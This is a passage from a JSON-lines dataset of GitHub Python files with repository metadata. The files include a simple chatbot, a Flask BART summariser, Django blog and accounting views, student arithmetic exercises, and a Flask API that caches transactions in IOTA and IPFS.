file\r\nres_data = load_json(\"answers.json\")\r\n\r\n\r\ndef app_response(input_str):\r\n message_split = re.split(\r\n r'[~!@#$%^&*()_+\\-=\\[\\]{};\\':\"\\\\|,.<>\\/?~ ]', input_str.lower())\r\n score = []\r\n\r\n for res in res_data:\r\n response_count = 0\r\n required_count = 0\r\n # checks if there exists required word(s)\r\n if len(res[\"requirement\"]) > 0:\r\n for word in message_split:\r\n if word in res[\"requirement\"]:\r\n required_count += 1\r\n # checks if requirement for an answer passed\r\n if len(res[\"requirement\"]) == required_count:\r\n for word in message_split:\r\n if word in res[\"users_input\"]:\r\n response_count += 1\r\n\r\n score.append(response_count)\r\n\r\n proper_response = max(score)\r\n res_index = score.index(proper_response)\r\n\r\n if input_str == \"\":\r\n return \"Please type something so we can chat :(\"\r\n\r\n if proper_response != 0:\r\n return res_data[res_index][\"app_response\"]\r\n\r\n if proper_response == 0:\r\n return random_ans.random_answers()\r\n\r\n\r\n\r\n\r\ndef main():\r\n print(\"You are chatting with Duc. Ask him anything about himself.\" + \r\n \"type 'end' to end the program\" + \r\n \"type 'adventure' to play an adventure game\" + \r\n \"type 'wheel of fortune' to play wheel of fortune\")\r\n username = input(\"Type your first name: \")\r\n username = username.capitalize()\r\n while True:\r\n users_input = input(username + \": \")\r\n if users_input.lower() == \"end\":\r\n print(\"It was a nice convo! Thank You!\")\r\n break\r\n elif users_input.lower() == \"adventure\":\r\n adventureGame.adventure()\r\n elif users_input.lower() == \"wheel of fortune\":\r\n wheelOfFortune.wheelOfFortune()\r\n else:\r\n print(\"Duc: \" + str(app_response(users_input)))\r\n\r\n\r\nmain()","repo_name":"stewwwwwww/chatBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"40365751421","text":"# import config\nimport torch\nimport flask\nfrom flask import Flask, request, render_template\nimport json\nfrom transformers import BartTokenizer, BartForConditionalGeneration, BartConfig\n\n\nBART_PATH = 'model/BART'\n\napp = Flask(__name__)\nbart_model = BartForConditionalGeneration.from_pretrained(BART_PATH)\nbart_tokenizer = BartTokenizer.from_pretrained(BART_PATH)\n\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n\ndef bart_summarize(input_text, num_beams, num_words):\n input_text = str(input_text)\n input_text = ' '.join(input_text.split())\n input_tokenized = bart_tokenizer.encode(input_text, return_tensors='pt').to(device)\n summary_ids = bart_model.generate(input_tokenized,\n num_beams=int(num_beams),\n no_repeat_ngram_size=3,\n length_penalty=2.0,\n min_length=int(num_words),\n max_length=200,\n early_stopping=True)\n output = [bart_tokenizer.decode(g, skip_special_tokens=True, clean_up_tokenization_spaces=False) for g in summary_ids]\n return output[0]\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/predict', methods=['POST'])\ndef predict():\n try:\n sentence = request.json['input_text']\n num_words = request.json['num_words']\n num_beams = request.json['num_beams']\n model = request.json['model']\n if sentence != '':\n if model.lower() == 'bart':\n output = bart_summarize(sentence, num_beams, num_words)\n # else:\n # output = BART2_summarize(sentence, num_beams, num_words)\n # print(\"NA\")\n response = {}\n response['response'] = {\n 'summary': str(output),\n 'model': model.lower()\n }\n return flask.jsonify(response)\n else:\n res = dict({'message': 'Empty input'})\n return app.response_class(response=json.dumps(res), status=500, mimetype='application/json')\n except Exception as ex:\n res = dict({'message': str(ex)})\n print(res)\n return app.response_class(response=json.dumps(res), status=500, mimetype='application/json')\n\n\nif __name__ == '__main__':\n bart_model.to(device)\n bart_model.eval()\n\n app.run(host='0.0.0.0', debug=False, port=8000, use_reloader=False)\n","repo_name":"geekybread/text-summarization","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"143311387","text":"\nfrom django.utils import timezone\nfrom .models import Post, Comment\nfrom django.shortcuts import render, get_object_or_404\nfrom .forms import PostForm, CommentForm\nfrom django.shortcuts import redirect\nfrom django.contrib.auth.decorators import login_required\n\n# #plot\n# from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\n# from matplotlib.figure import Figure\n# import numpy as np\n# from django.http import HttpResponse\n\n# #plot test\n# def mplimage(request):\n# fig = Figure()\n# canvas = FigureCanvas(fig)\n# ax = fig.add_subplot(111)\n# x = np.arange(-2,1.5,.01)\n# y = np.sin(np.exp(2*x))\n# ax.plot(x, y)\n# response = HttpResponse(content_type='image/png')\n# canvas.print_png(response)\n# return response\n\n# #test\n# def here(request):\n# return HttpResponse('Mom, I am here！')\n\n# def add(request, a, b):\n# s = int(a)+int(b)\n# return HttpResponse(str(s))\n\n\ndef post_list(request):\n posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n return render(request, 'blog/post_list.html', {'posts':posts})\n\n\ndef post_detail(request, pk):\n post = get_object_or_404(Post, pk=pk)\n return render(request, 'blog/post_detail.html', {'post': post})\n\n@login_required\ndef post_new(request):\n if request.method == \"POST\":\n form = PostForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n\n post.save()\n return redirect('post_detail', pk=post.pk)\n else:\n form = PostForm()\n return render(request, 'blog/post_edit.html', {'form': form})\n\n@login_required\ndef post_draft_list(request):\n\tposts = Post.objects.filter(published_date__isnull=True).order_by('created_date')\n\treturn render(request, 'blog/post_draft_list.html', {'posts':posts})\n\n@login_required\ndef post_publish(request, pk):\n post = get_object_or_404(Post, pk=pk)\n post.publish()\n return redirect('post_detail', pk=pk)\n\n@login_required\ndef post_remove(request, pk):\n post = get_object_or_404(Post, pk=pk)\n post.delete()\n return redirect('post_list')\n\n@login_required\ndef add_comment_to_post(request, pk):\n post = get_object_or_404(Post, pk=pk)\n if request.method == \"POST\":\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = form.save(commit=False)\n comment.post = post\n comment.save()\n return redirect('post_detail', pk=post.pk)\n else:\n form = CommentForm()\n return render(request, 'blog/add_comment_to_post.html', {'form': form})\n\n@login_required\ndef comment_approve(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n comment.approve()\n return redirect('post_detail', pk=comment.post.pk)\n\n@login_required\ndef comment_remove(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n comment.delete()\n return redirect('post_detail', pk=comment.post.pk)\n","repo_name":"s19003045/my-first-blog","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14454498661","text":"'''\r\nCreated on Sep 20, 2016\r\n\r\n@author: Karottop\r\n'''\r\nprint(\"Lab 2. Color Problem. Kyle Neuman\")\r\n\r\ncolor1 = input(\"Please enter your first color\\n\").lower()\r\ncolorlBool = color1 != \"yellow\" and color1 != \"red\" and color1 != \"blue\"\r\n\r\nwhile colorlBool:\r\n print(\"You have entered an invalid color\\n\")\r\n color1 = input(\"Please enter your first color\\n\").lower()\r\n colorlBool = color1 != \"yellow\" and color1 != \"red\" and color1 != \"blue\"\r\n \r\ncolor2 = input(\"Please enter your second color\\n\").lower()\r\ncolor2Bool = color2 != \"yellow\" and color2 != \"red\" and color2 != \"blue\"\r\n\r\nwhile color2Bool:\r\n print(\"You have entered an invalid color\\n\")\r\n color2 = input(\"Please enter your second color\\n\").lower()\r\n color2Bool = color2 != \"yellow\" and color2 != \"red\" and color2 != \"blue\"\r\n\r\nif color1 == \"yellow\" and color2 == \"blue\" or color2 == \"yellow\" and color1 == \"blue\":\r\n print(\"Blue\")\r\n \r\nelif color1 == \"yellow\" and color2 == \"red\" or color2 == \"yellow\" and color1 == \"red\":\r\n print(\"Orange\")\r\n\r\nelif color1 == \"blue\" and color2 == \"red\" or color2 == \"blue\" and color1 == \"red\":\r\n print(\"Purple\")\r\n\r\nelse:\r\n print(\"Error! You have entered two of the same color!\\n\")\r\n \r\n \r\n\r\n\r\n# while(color1 != )","repo_name":"Kneuman0/LearnPython","sub_path":"src/chapter2/lab2/ColorProblem.py","file_name":"ColorProblem.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7293514310","text":"def imprimir(a):\n pc=len(a[0])\n sc=len(a[1])\n temp=0\n entero=\"\"\n decimal=\"\"\n\n for i in range (pc):\n temp=str(a[0][i])\n entero=str(entero)+temp\n for j in range (sc):\n temp=str(a[1][j])\n decimal=str(decimal)+temp\n return print (\"{},{}\".format(entero,decimal))\n\ndef safe(a): #Genera una copia de la tupla a,evita modificar la tupla\n ent=a[0][:]\n dec=a[1][:]\n b=(ent,dec)\n return b\n\n#========================================================================\n#==============================Suma======================================\n#========================================================================\n\ndef suma(a,b,sincero=1):\n #Se guardan\n a=safe(a)\n b=safe(b)\n #Quito y guardo el signo\n signa=a[0].pop(0)\n signb=b[0].pop(0)\n #Guardo cuántos decimales hay\n deca=len(a[1])\n decb=len(b[1])\n #Igualo la parte decimal\n if deca>decb: #a mayor\n for i in range(deca-decb):\n b[1].append(0) \n if decb>deca: #b mayor\n for i in range(decb-deca):\n a[1].append(0)\n deca=len(a[1])\n #Igualo la parte entera\n if len(a[0])>len(b[0]):\n for i in range(len(a[0])-len(b[0])):\n b[0].insert(0,0) \n if len(b[0])>len(a[0]):\n for i in range(len(b[0])-len(a[0])):\n a[0].insert(0,0)\n #Paso la parte decimal a la misma lista del entero\n for i in range(len(a[1])):\n a[0].insert(len(a[0]),a[1].pop(0))\n for i in range(len(b[1])):\n b[0].insert(len(b[0]),b[1].pop(0))\n #Busco el más grande\n for i in range(len(a[0])):\n comp=a[0][i]-b[0][i]\n if comp<0:\n signa,signb=signb,signa\n for k in range(len(a[0])):\n a[0][k],b[0][k]=b[0][k],a[0][k] #En caso de que b sea más grande lo ubica en a\n break\n elif comp>0:\n break\n #Crea la lista resultado\n resul=[]\n for i in range(len(a[0])):\n resul.insert(0,0)\n #Opera\n if signa==signb: #Signos iguales suma\n for i in range(len(a[0])-1,-1,-1): #Toma valores de mayor a menor para la longitud\n aux=a[0][i]+b[0][i] #Suma el valor que haya en cada lista\n if aux<10: \n resul[i]+=aux #Lo suma al resultado\n else:\n aux=str(aux) #Separa como string el número y guarda la última cifra\n aux=aux[1]\n aux=int(aux)\n resul[i]+=aux #Suma esta cifra al resultado\n if i==0:\n resul.insert(0,1) #Si es el último para sumar le agrega un uno al inicio\n else:\n resul[i-1]+=1 #Si no solo suma un uno a la casilla siguiente\n if resul[i]>9:\n if i==0:\n resul[i]=str(resul[i])\n lleva,resul[i]=int(resul[i][0]),int(resul[i][1])\n resul.insert(0,lleva)\n else: \n resul[i]=str(resul[i])\n lleva,resul[i]=int(resul[i][0]),int(resul[i][1])\n resul[i-1]+=lleva\n elif signa!=signb: #Signos distintos resta\n for i in range(len(a[0])-1,-1,-1):\n aux=a[0][i]-b[0][i] #Resta los valores de cada lista\n if aux<0:\n resul[i]+=10\n a[0][i-1]-=1\n resul[i]+=aux\n else:\n resul[i]+=aux\n #Convierte a tupla\n deci=[]\n for i in range(deca):\n deci.insert(0,resul.pop(len(resul)-1))\n resul.insert(0,signa)\n if sincero==1:\n for i in range(1,len(resul)):\n if resul[1]!=0:\n break\n if len(resul)<3:\n break\n resul.pop(1)\n fin=(resul,deci)\n return fin\n\n#=======================================================================\n#==============================Resta====================================\n#=======================================================================\ndef resta(a,b):\n #Se guardan\n a=safe(a)\n b=safe(b)\n signa=a[0][0]\n signb=b[0][0]\n if signa!=signb:\n b[0][0]=a[0][0]\n elif signa==signb:\n if signa=='+':\n b[0][0]='-'\n elif signa=='-':\n b[0][0]='+'\n return suma(a,b)\n\n#=======================================================================\n#===========================Multiplicación==============================\n#=======================================================================\ndef multiplicacion(a,b):\n #Se guardan\n a=safe(a)\n b=safe(b)\n #Quito y guardo el signo\n signa=a[0].pop(0)\n signb=b[0].pop(0)\n #Guardo cuántos decimales hay\n deca=len(a[1])\n decb=len(b[1])\n #Paso la parte decimal a la misma lista del entero\n for i in range(len(a[1])):\n a[0].insert(len(a[0]),a[1].pop(0))\n for i in range(len(b[1])):\n b[0].insert(len(b[0]),b[1].pop(0))\n #Creo una lista que contendrá el resultado de cada multiplicación como una lista\n resul=[]\n for i in range(len(b[0])):\n resul.append([0]*(len(a[0])+1+i)) #Creo los ceros a la derecha que permitirán sumar estas listas\n for j in range(len(a[0])):\n #Multiplica y acomoda a la izquierda (len(resul)-i-1) de los ceros\n mul=a[0][len(a[0])-j-1]*b[0][len(b[0])-i-1]\n if mul>9: #Soluciona el que en una casilla la multiplicación de dos dígitos\n mul=str(mul)\n lleva,mul=int(mul[0]),int(mul[1])\n resul[i][len(a[0])-j]+=mul\n resul[i][len(a[0])-j-1]+=lleva\n else: #Otro caso\n resul[i][len(a[0])-j]+=mul\n parcial=resul[i][len(a[0])-j]\n if parcial>9: #Soluciona el que al sumar lo que se llevaba, nuevamente de dos dígitos\n parcial=str(parcial)\n lleva1,parcial1=parcial[0],parcial[1]\n lleva1,parcial1=int(lleva1),int(parcial1)\n resul[i][len(a[0])-j]=parcial1\n resul[i][len(a[0])-j-1]+=lleva1\n resul[i].insert(0,'+') #Agrega el signo a la lista\n resul[i]=(resul[i],[]) #Vuelve esa lista una tupla\n cuenta=(['+',0],[]) #Crea la lista que llevará la suma\n for i in range(len(resul)):\n cuenta=suma(cuenta,resul[i],sincero=0) #suma todas las listas de resul (los escalones)\n for i in range(deca+decb): #Pasa la parte decimal a la lista derecha\n cuenta[1].insert(0,cuenta[0].pop(len(cuenta[0])-1)) \n for i in range(1,len(cuenta[0])):#Por la naturaleza del código pueden quedar ceros al inicio, los quita\n if cuenta[0][1]!=0:\n break\n if len(cuenta[0])<3:\n break\n cuenta[0].pop(1)\n if signa!=signb: #En caso de que los signos originales sean distintos, pone un menos\n cuenta[0][0]='-'\n return cuenta\n\n#=======================================================================\n#============================División===================================\n#=======================================================================\ndef division(a,b,cifras=100): \n #Se guardan\n a=safe(a)\n b=safe(b)\n #Guardo los signos y los vuelvo positivos (para asegurar restar efectivamente)\n signa=a[0][0]\n signb=b[0][0]\n a[0][0]='+'\n b[0][0]='+'\n #Paso la parte decimal a la misma lista del entero\n diva=0 #Los contadores de las veces que se 'dividió' por 10\n divb=0\n for i in range(len(a[1])):\n a[0].insert(len(a[0]),a[1].pop(0))\n diva+=1\n for i in range(len(b[1])):\n b[0].insert(len(b[0]),b[1].pop(0))\n divb+=1 \n #En caso de que a sea menor que b:\n cuentadiez=0 #Cuántas veces se multiplicó por diez\n diez=(['+',1,0],[])\n for i in range(len(b[0])-len(a[0])):\n a=multiplicacion(a,diez)\n cuentadiez+=1\n #Divide\n seccion=(['+'],[]) #La sección de 'a' a usar\n for i in range(len(b[0])-1): #quita uno por el signo\n seccion[0].insert(len(seccion[0]),a[0][i+1])\n #for j in range(len(a[0])-1): #Necesario para tomar la cantidad de cifras en la linea ''seccion''\n # for i in range(len(b[0])-1):\n # seccion[0].insert(len(seccion[0]),a[i])\n cociente=(['+'],[])\n for j in range(len(a[0])-len(b[0])+1): #Mediante este hallo toda la parte entera\n for i in range(11): #Ciclo for destinado a hallar el siguiente dígito de cociente\n candidato=(['+',i],[]) #El número por el que va a multiplicar (en tupla)\n busca=multiplicacion(b,candidato) \n resto=resta(seccion,busca)\n if resto[0][0]=='-':\n candidato=(['+',i-1],[]) #Estas tres lineas que siguen es para hacer lo mismo...\n busca=multiplicacion(b,candidato) #... pero con el número anterior, pues candidato...\n resto=resta(seccion,busca) #... se pasa para lograr el negativo\n seccion=resto #los primeros digitos de seccion son resto\n cociente[0].insert(len(cociente[0]),candidato[0][1]) #Guarda el candidato en insert\n #print(busca,resto,candidato)\n if j==len(a[0])-len(b[0]): #Range llega hasta un número antes, por eso aquí no hay +1\n break #Se rompe pues no hay más números para 'bajar'\n seccion[0].insert(len(seccion[0]),a[0][len(b[0])+j]) #'Baja' el siguiente número\n #print(busca,resto,candidato)\n break\n if seccion[0][1]!=0: #Si la división no es exacta\n seccion[0].insert(len(seccion[0]),0) #Se anexa un cero por haber llegado a la coma\n for j in range(cifras):\n for i in range(11): \n candidato=(['+',i],[]) \n busca=multiplicacion(b,candidato) \n resto=resta(seccion,busca)\n if resto[0][0]=='-':\n candidato=(['+',i-1],[])\n busca=multiplicacion(b,candidato) \n resto=resta(seccion,busca)\n seccion=resto\n cociente[1].insert(len(cociente[1]),candidato[0][1])\n seccion[0].insert(len(seccion[0]),0)\n #print(busca,resto,candidato)\n break\n #Para corregir las cifras decimales que se corrieron al principio\n cerouno=(['+',0],[1])\n potencia=-diva+divb\n if potencia!=0:\n if potencia>0:\n for i in range(potencia):\n cociente=multiplicacion(cociente,diez)\n elif potencia<0:\n for i in range(-potencia):\n cociente=multiplicacion(cociente,cerouno)\n #Para correr las cifras decimales que se corrieron al multiplicar por diez en valores pequeños.\n if cuentadiez>0:\n for i in range(cuentadiez):\n cociente=multiplicacion(cociente,cerouno)\n #Para dejar exactas las cifras decimales que se quiere:\n if len(cociente[1])>cifras:\n for i in range(len(cociente[1])-cifras):\n cociente[1].pop(len(cociente[1])-1)\n #El signo\n if signa==signb:\n cociente[0][0]='+'\n elif signa!=signb:\n cociente[0][0]='-'\n return cociente\n \n#========================================================================\n#===========================Comparación==================================\n#========================================================================\ndef comparacion(a,b):\n lona=len(a)\n lonb=len(b)\n if lona!=lonb:\n print(\"Son tuplas diferentes\")\n elif lona==lonb:\n for i in range(lona):\n ver1=lona-1\n loninta=len(a[i])\n lonintb=len(b[i])\n if loninta!=lonintb:\n print(\"Son tuplas diferentes\")\n break\n elif loninta==lonintb:\n for j in range(loninta):\n ver2=loninta-1\n x=a[i][j]\n y=b[i][j]\n if x!=y:\n print(\"Son tuplas diferentes\")\n break\n elif i==ver1:\n if j==ver2:\n print(\"Son tuplas iguales\")\n if x!=y:\n break\n#========================================================================\n#================================== Pi ==================================\n#======================================================================== \ndef pi():\n cuatro=(['+',4],[])\n dos=(['+',2],[])\n uno=(['+',1],[])\n menosuno=(['-',1],[])\n dividendo=(['-',1],[])\n cuenta=(['+',0],[])\n kha=(['-',1],[])\n for k in range(700000):\n kha=suma(uno,kha)\n dosk=multiplicacion(dos,kha)\n divisor=suma(dosk,uno)\n dividendo=multiplicacion(menosuno,dividendo)\n total=division(dividendo,divisor,30)\n cuenta=suma(cuenta,total)\n #print(kha)\n pi=multiplicacion(cuatro,cuenta)\n return pi\n\n\nif __name__ == \"__main__\":\n print(imprimir(pi()))\n","repo_name":"UN-FISICA/taller-3-2018-2-juasrodriguezcam","sub_path":"myfloat_func.py","file_name":"myfloat_func.py","file_ext":"py","file_size_in_byte":12787,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38102538758","text":"from geopy.geocoders import Nominatim\n\n\nif __name__ == '__main__':\n address = '207 N. Defiance St, Archbold, OH'\n user_agent = 'test'\n\n location = Nominatim(user_agent=user_agent).geocode(address)\n\n print(location.latitude, location.longitude)","repo_name":"nbiadrytski-zz/python-training","sub_path":"network_programs/geocoding/search1_geopy_level.py","file_name":"search1_geopy_level.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30776530881","text":"from brownie import SimpleStorage, accounts, config\nimport brownie.network as network\n\n\ndef test_updating_storage():\n account = accounts.add(config[\"wallets\"][\"from_key\"])\n simple_storage = SimpleStorage.deploy({\"from\": account})\n\n expected = [(\"0\", \"0\")]\n txn = simple_storage.addElement(expected, {\"from\": account})\n txn.wait(1)\n\n assert [(\"0\", \"0\")] == SimpleStorage.retrieve()\n","repo_name":"AzizFacilex/ZizouEthereumCracker","sub_path":"Solidity/tests/test_AddressLogs.py","file_name":"test_AddressLogs.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"8479379285","text":"from __future__ import print_function\nimport sys\nsys.path.append(\"..\")\nimport ConfigParser\nimport commands\nimport threading\nimport json\nfrom flask import Flask, request\nfrom iota_cache.iota_cache import IotaCache\nfrom tag_generator import TagGenerator\nfrom collections import deque\nimport StringIO\nimport gzip\nfrom iota import TryteString\n\ncf = ConfigParser.ConfigParser()\ncf.read(\"conf\")\niota_addr = cf.get(\"iota\", \"addr\")\niota_seed = cf.get(\"iota\", \"seed\")\nenable_ipfs = cf.getboolean(\"iota\", \"enableIpfs\")\nenable_compression = cf.getboolean(\"iota\", \"enableCompression\")\nenable_batching = cf.getboolean(\"iota\", \"enableBatching\")\nlisten_port = cf.get(\"iota\", \"listenPort\")\nlisten_address = cf.get(\"iota\", \"listenAddress\")\ncache = IotaCache(iota_addr, iota_seed)\n\n# txs buffer. dequeue is thread-safe\ntxn_cache = deque()\nTIMER_INTERVAL = 20\nBATCH_SIZE = 20\nCOMPRESSED_SIZE = 7\n\ncache_lock = threading.Lock()\nlock = threading.Lock()\n\n\nif (enable_ipfs == True and enable_compression == True) or (enable_batching == False and enable_compression == True):\n print(\"Error configure!\", file=sys.stderr)\n sys.exit(-1)\n\ndef compress_str(data):\n if enable_compression == True:\n out = StringIO.StringIO()\n with gzip.GzipFile(fileobj=out, mode=\"w\") as f:\n f.write(data)\n compressed_data = out.getvalue()\n return TryteString.from_bytes(compressed_data).__str__()\n else:\n return data\n\ndef send(tx_string, tx_num=1, tag='TR'):\n if enable_ipfs == True:\n send_to_ipfs_iota(tx_string, tx_num, tag)\n else:\n send_to_iota(tx_string, tx_num, tag)\n\ndef send_to_ipfs_iota(tx_string, tx_num, tag):\n global lock\n with lock:\n filename = 'json'\n f = open(filename, 'w')\n f.write(tx_string)\n f.flush()\n f.close()\n\n (status, ipfs_hash) = commands.getstatusoutput(' '.join(['ipfs', 'add', filename, '-q']))\n if status != 0:\n print(\"[ERROR]Sending to ipfs failed -- '%s'\" % ipfs_hash, file=sys.stderr)\n return\n\n print(\"[INFO]Cache json %s in ipfs, the hash is %s.\" % (tx_string, ipfs_hash), file=sys.stderr)\n\n if tx_num == 1:\n data = ipfs_hash\n else:\n data = json.dumps({\"address\": ipfs_hash, \"tx_num\": tx_num}, sort_keys=True)\n\n cache.cache_txn_in_tangle_simple(data, TagGenerator.get_current_tag(tag))\n print(\"[INFO]Cache hash %s in tangle, the tangle tag is %s.\" % (ipfs_hash, TagGenerator.get_current_tag(\"TR\")), file=sys.stderr)\n\ndef send_to_iota(tx_string, tx_num, tag):\n global lock\n with lock:\n data = json.dumps({\"txn_content\": tx_string, \"tx_num\": tx_num}, sort_keys=True)\n\n if enable_batching is False:\n cache.cache_txn_in_tangle_simple(data, TagGenerator.get_current_tag(tag))\n else:\n compressed_data = compress_str(data)\n cache.cache_txn_in_tangle_message(compressed_data, TagGenerator.get_current_tag(tag))\n\n print(\"[INFO]Cache data in tangle, the tangle tag is %s.\" % (TagGenerator.get_current_tag(tag)), file=sys.stderr)\n\ndef get_cache():\n if enable_batching is False:\n return\n\n global cache_lock\n with cache_lock:\n nums = min(len(txn_cache), BATCH_SIZE)\n if nums == 0:\n return\n\n tx_list = []\n tr_list = []\n num_tr = 0\n num_tx = 0\n for i in range(nums):\n tx = txn_cache.popleft()\n req_json = json.loads(tx)\n if not req_json.has_key(u'tag'):\n tr_list.append(tx)\n num_tr += 1\n elif req_json[u'tag'] == 'TX':\n tx_list.append(tx)\n num_tx += 1\n\n tr_txs = json.dumps(tr_list)\n tx_txs = json.dumps(tx_list)\n if num_tx != 0:\n send(tx_txs, num_tx, 'TX')\n if num_tr != 0:\n send(tr_txs, num_tr, 'TR')\n\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_world():\n return 'Hello World!'\n\n@app.route('/get_balance', methods=['GET'])\ndef get_balance():\n req_json = request.get_json()\n\n if req_json is None:\n return 'error'\n\n if not req_json.has_key(u'account'):\n print(\"[ERROR]Account is needed.\", file=sys.stderr)\n return 'error'\n\n account = req_json[u'account']\n resp = cache.get_balance('StreamNetCoin', account)\n\n balance = resp[u'balances'][0]\n print(\"Balance of '%s' is [%s]\" % (account, balance), file=sys.stderr)\n return balance\n\n@app.route('/put_file', methods=['POST'])\ndef put_file():\n req_json = request.get_json()\n\n if req_json is None:\n return 'error'\n\n if not req_json.has_key(u'tag'):\n send(json.dumps(req_json, sort_keys=True))\n else:\n send(json.dumps(req_json, sort_keys=True), tag=req_json[u'tag'])\n\n return 'ok'\n\n@app.route('/put_cache', methods=['POST'])\ndef put_cache():\n if enable_batching is False:\n return 'error'\n\n req_json = request.get_json()\n if req_json is None:\n return 'error'\n\n tx_string = json.dumps(req_json, sort_keys=True)\n\n # cache in local ring-buffer\n txn_cache.append(tx_string)\n\n if len(txn_cache) >= BATCH_SIZE:\n get_cache()\n\n return 'ok'\n\n@app.route('/post_contract', methods=['POST'])\ndef post_contract():\n req_json = request.get_json()\n\n if req_json is None:\n return 'request error'\n print(\"now come here to post contract\")\n\n cache.cache_txn_in_tangle_simple(req_json['ipfs_addr'], TagGenerator.get_current_tag(\"SC\"))\n return 'ok'\n\n@app.route('/post_action', methods=['POST'])\ndef post_action():\n req_json = request.get_json()\n\n if req_json is None:\n return 'request error'\n\n cache.cache_txn_in_tangle_simple(req_json['ipfs_addr'], TagGenerator.get_current_tag(\"SA\"))\n return 'ok'\n\n@app.route('/put_contract', methods=['PUT'])\ndef put_contract():\n req_json = request.get_json()\n\n if req_json is None:\n return 'request error'\n\n msg = Fragment(TryteString(req_json['ipfs_addr']))\n ipfs_addr = msg.decode()\n wasm.set_contract(ipfs_addr)\n return 'ok'\n\n@app.route('/put_action', methods=['PUT'])\ndef put_action():\n req_json = request.get_json()\n\n if req_json is None:\n return 'request error'\n\n msg = Fragment(TryteString(req_json['ipfs_addr']))\n ipfs_addr = msg.decode()\n wasm.exec_action(ipfs_addr)\n return 'ok'\n\n@app.route('/add_neighbors', methods=['POST'])\ndef add_neighbors():\n req_json = request.get_json()\n if req_json is None:\n return 'error'\n if not req_json.has_key(u'uris'):\n print(\"[ERROR] Uris are needed.\", file=sys.stderr)\n return 'error'\n uris = req_json[u'uris']\n resp = cache.add_neighbors(uris)\n return resp\n\n@app.route('/get_block_content', methods=['GET'])\ndef get_block_content():\n req_json = request.get_json()\n if req_json is None:\n return 'error'\n if not req_json.has_key(u'hashes'):\n print(\"[ERROR] Hashes are needed.\", file=sys.stderr)\n return 'error'\n hashes = req_json[u'hashes']\n resp = cache.get_block_content(hashes)\n print(resp, file=sys.stderr)\n ret_list = [x.encode('ascii') for x in resp[u'trytes']]\n return str(ret_list)\n\n@app.route('/get_dag', methods=['GET'])\ndef get_dag():\n req_json = request.get_json()\n if req_json is None:\n return 'error'\n if not req_json.has_key(u'type'):\n print(\"[ERROR] Hashes are needed.\", file=sys.stderr)\n return 'error'\n dag_type = req_json[u'type']\n resp = cache.get_dag(dag_type)\n if req_json.has_key(u'file_save'):\n file_save = req_json[u'file_save'].encode(\"ascii\")\n f = open(file_save, 'w')\n f.write(resp[u'dag'])\n f.close()\n return resp[u'dag'] \n\n@app.route('/get_utxo', methods=['GET'])\ndef get_utxo():\n req_json = request.get_json()\n if req_json is None:\n return 'error'\n if not req_json.has_key(u'type'):\n print(\"[ERROR] Hashes are needed.\", file=sys.stderr)\n return 'error'\n dag_type = req_json[u'type']\n resp = cache.get_utxo(dag_type)\n if req_json.has_key(u'file_save'):\n file_save = req_json[u'file_save'].encode(\"ascii\")\n f = open(file_save, 'w')\n f.write(resp[u'dag'])\n f.close()\n return resp[u'dag']\n\n@app.route('/get_total_order', methods=['GET'])\ndef get_total_order():\n resp = cache.get_total_order()\n return resp[u'totalOrder']\n\nif __name__ == '__main__':\n # timer\n timer_thread = threading.Timer(TIMER_INTERVAL, get_cache)\n timer_thread.start()\n app.run(host=listen_address, port=listen_port)\n","repo_name":"trias-lab/StreamNet","sub_path":"scripts/iota_api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"32792438408","text":"# Create your views here.\nfrom rest_framework.response import Response\n\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom apps.accounting.serializer import (\n seteraSOS,\n seterasosdetails,\n seteraSubscription,\n seteraSubscriptionDetail,\n descriptionaccounting,\n calldetail_dummydata,\n \n)\nfrom apps.utils.utils import userpermisson\nfrom django.conf import settings\nfrom apps.accounting.dummydata import (\n dummy_sales_order_detail,\n dummy_sales_order_list,\n dummy_sub_list,\n dummy_sub_detail,\n Summary_by_subscription,\n Summary_by_services,\n Call_history_report,\n \n)\n\nfrom apps.users.haspermission import GroupPermission\n\nimport requests\nfrom apps.organization.models import Organization\n\n# from apps.tasks.helperfunctions import selesorder\n\n\nclass SalesOrderAPI(APIView):\n required_permissions= [\"Can view accounting salesorder\",]\n permission_classes = [GroupPermission]\n def get(self, request, id=None, format=None):\n # func = userpermisson(request)\n # obj = func.permissions.filter(name= \"Can view accounting salesorder\").exists()\n # if not obj:\n # return Response({\"statusText\":\"Forbidden\"},status=status.HTTP_403_FORBIDDEN,)\n \n org = request.headers.get(\"organization\")\n try:\n if id is not None:\n if settings.ENVIRONMENT in [\"stage\", \"production\"]:\n data = seterasosdetails(id)\n count = len(data)\n response = data\n else:\n response = dummy_sales_order_detail\n else:\n if settings.ENVIRONMENT in [\"stage\", \"production\"]:\n salesorders = seteraSOS(org)\n count = len(salesorders)\n response = {\"count\": count, \"results\": salesorders}\n else:\n response = {\n \"count\": len(dummy_sales_order_list),\n \"results\": dummy_sales_order_list,\n }\n\n 